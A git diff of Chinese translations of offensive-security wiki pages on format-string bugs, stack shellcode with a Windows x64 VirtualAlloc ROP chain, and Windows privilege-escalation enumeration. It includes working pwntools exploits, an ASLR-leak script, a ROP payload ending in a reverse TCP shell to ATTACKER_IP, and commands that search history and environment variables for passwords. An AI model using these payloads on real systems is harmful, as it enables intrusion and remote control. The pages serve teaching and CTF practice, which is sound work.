diff --git a/src/SUMMARY.md b/src/SUMMARY.md index ccaa8f2fe..e181a795f 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -234,6 +234,7 @@ - [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md) - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md) - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) - [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md) diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index 68563d697..b613b1e74 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -5,13 +5,13 @@ ## 基本信息 -在 C 中,**`printf`** 是一个可以用来 **打印** 字符串的函数。该函数期望的 **第一个参数** 是 **带格式的原始文本**。后续的 **参数** 是 **替代** 原始文本中 **格式化符** 的 **值**。 +在 C 中,**`printf`** 是一个可用于**打印**字符串的函数。该函数期望的**第一个参数**是包含**格式化占位符的原始文本**。之后期望的**后续参数**是用来**替换**原始文本中**格式化占位符**的**值**。 -其他易受攻击的函数包括 **`sprintf()`** 和 **`fprintf()`**。 +其他易受攻击的函数有 **`sprintf()`** 和 **`fprintf()`**。 -当 **攻击者的文本作为第一个参数** 被用作此函数时,就会出现漏洞。攻击者将能够构造一个 **特殊输入,利用** **printf 格式** 字符串的能力来读取和 **写入任何地址(可读/可写)** 中的 **任何数据**。这样就能够 **执行任意代码**。 +当**攻击者控制的文本被用作该函数的第一个参数**时,就会出现该漏洞。攻击者可以构造**特殊输入滥用** **printf format** 字符串能力来读取并**写入任意地址的任何数据(可读/可写)**。通过这种方式能够**执行任意代码**。 -#### 格式化符: +#### 格式化占位符: ```bash %08x —> 8 hex bytes %d —> Entire @@ -22,24 +22,24 @@ %hn —> Occupies 2 bytes instead of 4 $X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 ``` -**示例:** +**示例:** -- 漏洞示例: +- 有漏洞的示例: ```c char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. printf(buffer); // If buffer contains "%x", it reads from the stack. ``` -- 正常使用: +- 正常 用法: ```c int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ``` -- 缺失参数: +- 参数缺失时: ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` -- fprintf 漏洞: +- fprintf 易受攻击: ```c #include @@ -54,11 +54,11 @@ return 0; ``` ### **访问指针** -格式 **`%$x`**,其中 `n` 是一个数字,允许指示 printf 选择第 n 个参数(来自栈)。因此,如果您想使用 printf 读取栈中的第 4 个参数,可以这样做: +格式 **`%$x`**,其中 `n` 是一个数字,允许指示 printf 选择第 n 个参数(来自 stack)。因此,如果你想使用 printf 读取 stack 上的第 4 个参数,你可以这样做: ```c printf("%x %x %x %x") ``` -你可以从第一个参数读取到第四个参数。 +并且你会从第一个读取到第四个参数。 或者你可以这样做: ```c @@ -66,14 +66,14 @@ printf("%4$x") ``` 并直接读取第四个。 -注意,攻击者控制着 `printf` **参数,这基本上意味着** 他的输入将在调用 `printf` 时位于栈中,这意味着他可以在栈中写入特定的内存地址。 +注意,攻击者控制了 `printf` **参数,这基本意味着**当 `printf` 被调用时,他的输入会位于栈上,这也意味着他可以在栈中写入特定的内存地址。 > [!CAUTION] -> 控制此输入的攻击者将能够 **在栈中添加任意地址并使 `printf` 访问它们**。下一节将解释如何利用这种行为。 +> 控制该输入的攻击者将能够 **在栈中添加任意地址并让 `printf` 访问这些地址**。下一节将解释如何利用该行为。 -## **任意读取** +## **Arbitrary Read** -可以使用格式化符 **`%n$s`** 使 **`printf`** 获取位于 **n 位置** 的 **地址**,并 **将其打印为字符串**(打印直到找到 0x00)。因此,如果二进制文件的基地址是 **`0x8048000`**,并且我们知道用户输入从栈的第四个位置开始,则可以使用以下方式打印二进制文件的开头: +可以使用格式化符 **`%n$s`** 使 **`printf`** 获取位于第 **n** 个位置的**地址**,随后将该地址指向的内容**按字符串方式打印**(打印直到遇到 0x00 为止)。因此,如果二进制的基地址为 **`0x8048000`**,并且我们知道用户输入在栈上的第 4 个位置开始,就可以打印二进制的起始内容: ```python from pwn import * @@ -87,15 +87,15 @@ p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` > [!CAUTION] -> 注意,您不能将地址 0x8048000 放在输入的开头,因为字符串将在该地址的末尾以 0x00 结束。 +> 注意:你不能将地址 0x8048000 放在输入的开头,因为字符串将在该地址末尾被 0x00 截断。 -### 查找偏移量 +### 查找偏移 -要找到输入的偏移量,您可以发送 4 或 8 字节(`0x41414141`),后跟 **`%1$x`** 并 **增加** 值,直到检索到 `A`。 +要找到到你输入的偏移量,你可以发送 4 或 8 字节(`0x41414141`)后跟 **`%1$x`**,并**增加**该值直到检索到 `A's`。
-暴力破解 printf 偏移量 +Brute Force printf offset ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak @@ -126,44 +126,45 @@ p.close() ```
-### 有多有用 +### 有用性 -任意读取可以用于: +Arbitrary reads 可以用于: -- **从内存中转储** **二进制文件** -- **访问存储敏感信息的内存特定部分**(如 canaries、加密密钥或自定义密码,如在这个 [**CTF 挑战**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) 中) +- **Dump** the **binary** from memory +- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) -## **任意写入** +## **Arbitrary Write** -格式化器 **`%$n`** **在** \ 参数指定的地址 **写入** **写入的字节数**。如果攻击者可以使用 printf 写入任意数量的字符,他将能够使 **`%$n`** 在任意地址写入任意数字。 +格式化器 **`%$n`** **写入** **写入的字节数** 到 **栈中由 参数指示的地址**。如果攻击者能够通过 printf 写入任意数量的字符,就可以让 **`%$n`** 在任意地址写入任意数值。 -幸运的是,写入数字 9999 时,不需要在输入中添加 9999 个 "A",为了做到这一点,可以使用格式化器 **`%.%$n`** 在 **`num` 位置指向的地址** 写入数字 **``**。 +幸运的是,要写入数字 9999,并不需要在输入中添加 9999 个 "A"。可以使用格式化器 **`%.%$n`** 将数字 **``** 写入 **由 `num` 位置指向的地址**。 ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -然而,请注意,通常为了写入一个地址,例如 `0x08049724`(这是一个很大的数字一次性写入),**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 字节**。因此,这个操作需要进行两次,一次是针对地址的高 2B,另一次是针对低 2B。 +不过,注意通常为了写入像 `0x08049724`(一次写入是一个很大的数)这样的地址,**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 Bytes**。因此该操作需要执行两次,一次写入地址的高 2B,另一次写入低 2B。 -因此,这个漏洞允许**在任何地址写入任何内容(任意写入)。** +因此,这个漏洞允许**在任意地址写入任意内容 (arbitrary write)。** + +在这个示例中,目标是要**覆盖**GOT 表中将被后续调用的某个**函数**的**地址**。虽然也可以利用其它 arbitrary write 到 exec 的技术: -在这个例子中,目标是**覆盖**一个**函数**在**GOT** 表中的**地址**,该函数将在稍后被调用。尽管这可能会滥用其他任意写入到执行的技术: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -我们将**覆盖**一个**函数**,该函数**接收**来自**用户**的**参数**并**指向**`system` **函数**。\ -如前所述,写入地址通常需要 2 个步骤:您**首先写入 2 字节**的地址,然后写入另外 2 字节。为此使用**`$hn`**。 +我们将**覆盖**一个**从用户接收参数**的**函数**,并将其指向 **`system`** **函数**。\ +如前所述,为了写入地址,通常需要两步:你**先写入地址的 2 Bytes**,然后再写入剩下的 2 Bytes。为此使用 **`$hn`**。 -- **HOB** 是指地址的 2 个高字节 -- **LOB** 是指地址的 2 个低字节 +- **HOB** 指地址的高 2 bytes +- **LOB** 指地址的低 2 bytes -然后,由于格式字符串的工作原理,您需要**首先写入较小的** \[HOB, LOB],然后写入另一个。 +然后,由于 format string 的工作方式,你需要**先写入 [HOB, LOB] 中较小的那个**,再写入另一个。 -如果 HOB < LOB\ +If HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -如果 HOB > LOB\ +If HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB @@ -172,14 +173,14 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + " ``` ### Pwntools 模板 -您可以在以下位置找到用于准备此类漏洞的 **模板**: +你可以在以下位置找到用于为此类漏洞准备利用的**模板**: {{#ref}} format-strings-template.md {{#endref}} -或者这个基本示例来自 [**这里**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): +或者这个来自 [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) 的基本示例: ```python from pwn import * @@ -198,9 +199,45 @@ p.sendline('/bin/sh') p.interactive() ``` -## 格式字符串到缓冲区溢出 +## Format Strings to BOF -可以利用格式字符串漏洞的写入操作来**写入栈的地址**,并利用**缓冲区溢出**类型的漏洞。 +可以滥用 format string vulnerability 的写操作,将数据写入 **write in addresses of the stack**,并利用 **buffer overflow** 类型的漏洞。 + + +## Windows x64: Format-string leak to bypass ASLR (no varargs) + +在 Windows x64 上,前四个整型/指针参数通过寄存器传递:RCX, RDX, R8, R9。在许多有漏洞的调用点中,攻击者控制的字符串被用作 format argument,但没有提供 variadic arguments,例如: +```c +// keyData is fully controlled by the client +// _snprintf(dst, len, fmt, ...) +_snprintf(keyStringBuffer, 0xff2, (char*)keyData); +``` +因为没有传递 varargs,任何像 "%p", "%x", "%s" 这样的转换都会导致 CRT 从相应的寄存器读取下一个 variadic argument。With the Microsoft x64 calling convention the first such read for "%p" comes from R9。调用点 R9 中的任何瞬时值都会被打印出来。实际上,这通常会 leak 一个稳定的 in-module pointer(例如,一个之前由周围代码放入 R9 的 local/global 对象的指针,或一个 callee-saved 值),可用于恢复 module base 并绕过 ASLR。 + +Practical workflow: + +- 在 attacker-controlled string 的最开始注入像 "%p " 这样无害的 format,这样第一次转换会在任何过滤之前执行。 +- 捕获 leaked pointer,确定该对象在 module 内的静态偏移(通过 reversing(使用符号或本地副本)),并将 image base 恢复为 `leak - known_offset`。 +- 重用该 base 来计算远程 ROP gadgets 和 IAT entries 的绝对地址。 + +Example (abbreviated python): +```python +from pwn import remote + +# Send an input that the vulnerable code will pass as the "format" +fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9 +io = remote(HOST, 4141) +# ... drive protocol to reach the vulnerable snprintf ... +leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660 +base = leaked - 0x20660 # module base = leak - offset +print(hex(leaked), hex(base)) +``` +注意事项: +- 要减去的精确偏移量在本地逆向时确定一次,然后重用(相同的二进制/版本)。 +- 如果 "%p" 在第一次尝试时没有打印出有效的指针,尝试其他格式说明符 ("%llx", "%s") 或多次转换 ("%p %p %p") 来采样其他参数寄存器/stack。 +- 该模式特定于 Windows x64 calling convention 和 printf-family 的实现——当 format string 请求时,会从寄存器获取不存在的 varargs。 + +该技术对于在启用了 ASLR 且没有明显 memory disclosure primitives 的 Windows 服务上引导 ROP 非常有用。 ## 其他示例与参考 @@ -208,10 +245,15 @@ p.interactive() - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) -- 32位,无relro,无canary,nx,无pie,基本使用格式字符串从栈中泄露标志(无需更改执行流程) +- 32 bit,no relro,no canary,nx,no pie,基本使用 format strings 从 stack leak flag(不需要改变 execution flow) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32位,relro,无canary,nx,无pie,格式字符串覆盖地址`fflush`与win函数(ret2win) +- 32 bit,relro,no canary,nx,no pie,使用 format string 覆盖地址 `fflush` 为 win 函数 (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32位,relro,无canary,nx,无pie,格式字符串在`.fini_array`中写入main内部的地址(使流程再循环一次)并将地址写入GOT表中的`system`,指向`strlen`。当流程返回到main时,`strlen`将以用户输入为参数执行,并指向`system`,将执行传递的命令。 +- 32 bit,relro,no canary,nx,no pie,使用 format string 将一个地址写入 main 内的 `.fini_array`(这样流程会再回到 main 一次),并在 GOT 表中将指向 `strlen` 的地址写为 `system`。当流程返回 main 时,执行 `strlen`(带用户输入),但因指向 `system`,将执行所传的命令。 + +## References + +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index 650927af3..6795cdff4 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -4,7 +4,7 @@ ## 基本信息 -**Stack shellcode** 是一种用于 **binary exploitation** 的技术,攻击者将 shellcode 写入易受攻击程序的栈中,然后修改 **Instruction Pointer (IP)** 或 **Extended Instruction Pointer (EIP)** 以指向该 shellcode 的位置,从而导致其执行。这是一种经典的方法,用于获得未授权访问或在目标系统上执行任意命令。以下是该过程的分解,包括一个简单的 C 示例以及如何使用 Python 和 **pwntools** 编写相应的利用代码。 +**Stack shellcode** 是一种用于 **binary exploitation** 的技术,攻击者将 shellcode 写入易受攻击程序的栈,然后修改 **Instruction Pointer (IP)** 或 **Extended Instruction Pointer (EIP)**,使其指向该 shellcode 的位置,从而导致其执行。这是一种经典方法,用于在目标系统上获取未授权访问或执行任意命令。下面分解该过程,包括一个简单的 C 示例以及如何使用 Python 和 **pwntools** 编写相应的 exploit。 ### C 示例:一个易受攻击的程序 @@ -24,22 +24,22 @@ printf("Returned safely\n"); return 0; } ``` -该程序由于使用了 `gets()` 函数而容易受到缓冲区溢出攻击。 +该程序因为使用 `gets()` 函数而容易受到缓冲区溢出攻击。 ### 编译 -要在禁用各种保护的情况下编译此程序(以模拟易受攻击的环境),您可以使用以下命令: +要在禁用各种保护(以模拟易受攻击的环境)的情况下编译此程序,可以使用以下命令: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - `-fno-stack-protector`: 禁用栈保护。 -- `-z execstack`: 使栈可执行,这对于执行存储在栈上的 shellcode 是必要的。 -- `-no-pie`: 禁用位置无关可执行文件,使预测我们的 shellcode 将位于的内存地址变得更容易。 -- `-m32`: 将程序编译为 32 位可执行文件,通常用于简化漏洞开发。 +- `-z execstack`: 使栈可执行,这对于执行存放在栈上的 shellcode 是必要的。 +- `-no-pie`: 禁用 Position Independent Executable,使我们更容易预测 shellcode 将所在的内存地址。 +- `-m32`: 将程序编译为 32 位可执行文件,常用于简化 exploit 开发。 -### 使用 Pwntools 的 Python 漏洞利用 +### 使用 Pwntools 的 Python Exploit -以下是如何使用 **pwntools** 在 Python 中编写一个 **ret2shellcode** 攻击的示例: +下面是如何使用 **pwntools** 在 Python 中编写 exploit 以执行 **ret2shellcode** 攻击: ```python from pwn import * @@ -66,26 +66,98 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` -这个脚本构造了一个有效载荷,由**NOP滑块**、**shellcode**组成,然后用指向NOP滑块的地址覆盖**EIP**,确保shellcode被执行。 +该脚本构造了一个 payload,包含 **NOP slide**、**shellcode**,然后将 **EIP** 覆盖为指向 NOP slide 的地址,以确保 shellcode 被执行。 -**NOP滑块**(`asm('nop')`)用于增加执行“滑入”我们的shellcode的机会,无论确切地址是什么。调整`p32()`参数为缓冲区的起始地址加上一个偏移量,以便落入NOP滑块。 +**NOP slide** (`asm('nop')`) 用来增加执行“滑入”我们 shellcode 的几率,而不依赖精确地址。调整 `p32()` 的参数为你的缓冲区起始地址加上一个偏移,以落在 NOP slide 上。 -## 保护措施 +## Windows x64: 绕过 NX,使用 VirtualAlloc ROP (ret2stack shellcode) -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **应该禁用**,以确保地址在执行之间是可靠的,否则存储函数的地址不会总是相同,您需要一些泄漏以确定win函数加载的位置。 -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) 也应该禁用,否则被破坏的EIP返回地址将永远不会被跟随。 -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **栈**保护将阻止在栈内执行shellcode,因为该区域将不可执行。 +在现代 Windows 上,stack 是 non-executable(DEP/NX)。在发生 stack BOF 后仍想执行驻留在栈上的 shellcode 的常用方法是构建一个 64-bit ROP chain,从模块的 Import Address Table (IAT) 调用 VirtualAlloc(或 VirtualProtect),使栈上的某个区域变为可执行,然后返回到紧随该链之后的 shellcode。 + +Key points (Win64 calling convention): +- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) +- RCX = lpAddress → 选择当前栈中的一个地址(例如 RSP),这样新分配的 RWX 区域会与你的 payload 重叠 +- RDX = dwSize → 足够容纳你的 chain + shellcode(例如 0x1000) +- R8 = flAllocationType = MEM_COMMIT (0x1000) +- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40) +- Return directly into the shellcode placed right after the chain. + +Minimal strategy: +1) Leak a module base(例如通过 format-string、object pointer 等)以便在 ASLR 下计算出绝对 gadget 和 IAT 地址。 +2) 找到用于加载 RCX/RDX/R8/R9 的 gadgets(pop 或 mov/xor 类序列)以及可 call/jmp [VirtualAlloc@IAT] 的 gadget。如果没有直接的 pop r8/r9,使用算术 gadgets 来合成常量(例如,将 r8 设为 0,然后重复将 r9 加 0x40 四十次以达到 0x1000)。 +3) 将 stage-2 shellcode 放置在链之后紧接的位置。 + +Example layout (conceptual): +``` +# ... padding up to saved RIP ... +# R9 = 0x40 (PAGE_EXECUTE_READWRITE) +POP_R9_RET; 0x40 +# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic +POP_R8_RET; 0x1000 +# RCX = &stack (lpAddress) +LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg +# RDX = size (dwSize) +POP_RDX_RET; 0x1000 +# Call VirtualAlloc via the IAT +[IAT_VirtualAlloc] +# New RWX memory at RCX — execution continues at the next stack qword +JMP_SHELLCODE_OR_RET +# ---- stage-2 shellcode (x64) ---- +``` +在受限的 gadget 集合下,你可以间接构造寄存器的值,例如: +- mov r9, rbx; mov r8, 0; add rsp, 8; ret → 将 r9 设为 rbx 的值,将 r8 清零,并用一个垃圾 qword 补偿栈。 +- xor rbx, rsp; ret → 用当前的栈指针为 rbx 赋值。 +- push rbx; pop rax; mov rcx, rax; ret → 将来源于 RSP 的值移动到 RCX。 + +Pwntools 示例(在已知基址和 gadgets 的情况下): +```python +from pwn import * +base = 0x7ff6693b0000 +IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing +rop = b'' +# r9 = 0x40 +rop += p64(base+POP_RBX_RET) + p64(0x40) +rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK' +# rcx = rsp +rop += p64(base+POP_RBX_RET) + p64(0) +rop += p64(base+XOR_RBX_RSP_RET) +rop += p64(base+PUSH_RBX_POP_RAX_RET) +rop += p64(base+MOV_RCX_RAX_RET) +# r8 = 0x1000 via arithmetic if no pop r8 +for _ in range(0x1000//0x40): +rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET) +# rdx = 0x1000 (use any available gadget) +rop += p64(base+POP_RDX_RET) + p64(0x1000) +# call VirtualAlloc and land in shellcode +rop += p64(IAT_VirtualAlloc) +rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT)) +``` +提示: +- VirtualProtect 的工作方式类似,如果更倾向于将现有缓冲区设为 RX;参数顺序不同。 +- 如果 stack 空间不足,在别处分配 RWX(RCX=NULL)并 jmp 到该新区域,而不是重用 stack。 +- 始终考虑会调整 RSP 的 gadgets(例如 add rsp, 8; ret),通过插入垃圾 qwords 来补偿。 + + +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **应该被禁用**,以使地址在不同执行中可靠,否则函数将被存放的地址不会总是相同,你将需要一些 leak 来确定 win 函数加载在哪里。 +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) 也应被禁用,否则被破坏的 EIP 返回地址将永远不会被执行。 +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** 保护会阻止在 stack 内的 shellcode 执行,因为该区域不会是可执行的。 ## 其他示例与参考 - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64位,ASLR与栈地址泄漏,写入shellcode并跳转到它 +- 64bit,ASLR,有 stack 地址 leak,写入 shellcode 并 jump 到它 - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32位,ASLR与栈泄漏,写入shellcode并跳转到它 +- 32 bit,ASLR,stack leak,写入 shellcode 并 jump 到它 - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32位,ASLR与栈泄漏,比较以防止调用exit(),用一个值覆盖变量并写入shellcode并跳转到它 +- 32 bit,ASLR,stack leak,通过比较防止调用 exit(),覆盖变量为某值并写入 shellcode 并 jump 到它 - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) -- arm64,无ASLR,ROP小工具使栈可执行并跳转到栈中的shellcode +- arm64,无 ASLR,使用 ROP gadget 使 stack 可执行并 jump 到 stack 中的 shellcode + + +## References + +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 4c8e363a6..78f00ed3f 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -### **寻找Windows本地权限提升向量的最佳工具:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **用于查找 Windows local privilege escalation 向量的最佳工具:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## 初始Windows理论 +## Windows 基础理论 -### 访问令牌 +### Access Tokens -**如果你不知道什么是Windows访问令牌,请在继续之前阅读以下页面:** +**如果你不知道什么是 Windows 访问令牌,请在继续之前阅读以下页面:** {{#ref}} @@ -17,36 +17,36 @@ access-tokens.md ### ACLs - DACLs/SACLs/ACEs -**有关ACLs - DACLs/SACLs/ACEs的更多信息,请查看以下页面:** +**有关 ACLs - DACLs/SACLs/ACEs 的更多信息,请查看以下页面:** {{#ref}} acls-dacls-sacls-aces.md {{#endref}} -### 完整性级别 +### Integrity Levels -**如果你不知道Windows中的完整性级别是什么,你应该在继续之前阅读以下页面:** +**如果你不知道 Windows 中的完整性级别是什么,应该在继续之前阅读以下页面:** {{#ref}} integrity-levels.md {{#endref}} -## Windows安全控制 +## Windows Security Controls -Windows中有不同的内容可能会**阻止你枚举系统**、运行可执行文件或甚至**检测你的活动**。你应该**阅读**以下**页面**并**枚举**所有这些**防御****机制**,然后再开始权限提升枚举: +Windows 中有多种机制可能会**阻止你枚举系统**、运行可执行文件,甚至**检测你的活动**。在开始权限提升枚举之前,你应该**阅读**以下**页面**并**枚举**所有这些**防御****机制**: {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} -## 系统信息 +## System Info -### 版本信息枚举 +### Version info enumeration -检查Windows版本是否存在已知漏洞(也检查已应用的补丁)。 +检查 Windows 版本是否存在已知漏洞(也要检查已应用的补丁)。 ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,23 +59,23 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### 版本漏洞 +### 版本漏洞利用 -这个 [site](https://msrc.microsoft.com/update-guide/vulnerability) 对于搜索 Microsoft 安全漏洞的详细信息非常有用。这个数据库包含超过 4,700 个安全漏洞,显示了 Windows 环境所呈现的 **巨大的攻击面**。 +这个 [site](https://msrc.microsoft.com/update-guide/vulnerability) 对查找 Microsoft 安全漏洞的详细信息很有用。该数据库包含超过 4,700 个安全漏洞,显示了 Windows 环境所呈现的 **巨大的攻击面**。 **在系统上** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas 已嵌入 watson)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas 内置了 watson)_ -**使用系统信息本地** +**在本地使用系统信息** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**漏洞的 Github 仓库:** +**漏洞利用的 Github 仓库:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) @@ -83,7 +83,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches ### 环境 -环境变量中是否保存了任何凭据/敏感信息? +有任何凭证/敏感信息保存在环境变量中吗? ```bash set dir env: @@ -101,7 +101,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` ### PowerShell 转录文件 -您可以在 [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) 学习如何启用此功能。 +您可以在 [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) 学习如何启用此功能 ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -114,36 +114,36 @@ dir C:\Transcripts Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber Stop-Transcript ``` -### PowerShell 模块日志记录 +### PowerShell Module Logging -PowerShell 管道执行的详细信息被记录,包括执行的命令、命令调用和脚本的部分内容。然而,完整的执行细节和输出结果可能不会被捕获。 +PowerShell 管道执行的详细信息会被记录,包括已执行的命令、命令调用以及脚本的部分内容。但是,可能不会捕获完整的执行细节和输出结果。 -要启用此功能,请按照文档中“转录文件”部分的说明操作,选择 **"模块日志记录"** 而不是 **"Powershell 转录"**。 +要启用此功能,请按照文档中 "Transcript files" 部分的说明操作,选择 **"Module Logging"** 而不是 **"Powershell Transcription"**。 ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -要查看PowersShell日志中的最后15个事件,可以执行: +要查看来自 PowersShell logs 的最近 15 条事件,可以执行: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -完整的活动和脚本执行的全部内容记录被捕获,确保每个代码块在运行时都被记录。这个过程保留了每个活动的全面审计轨迹,对于取证和分析恶意行为非常有价值。通过在执行时记录所有活动,提供了对该过程的详细洞察。 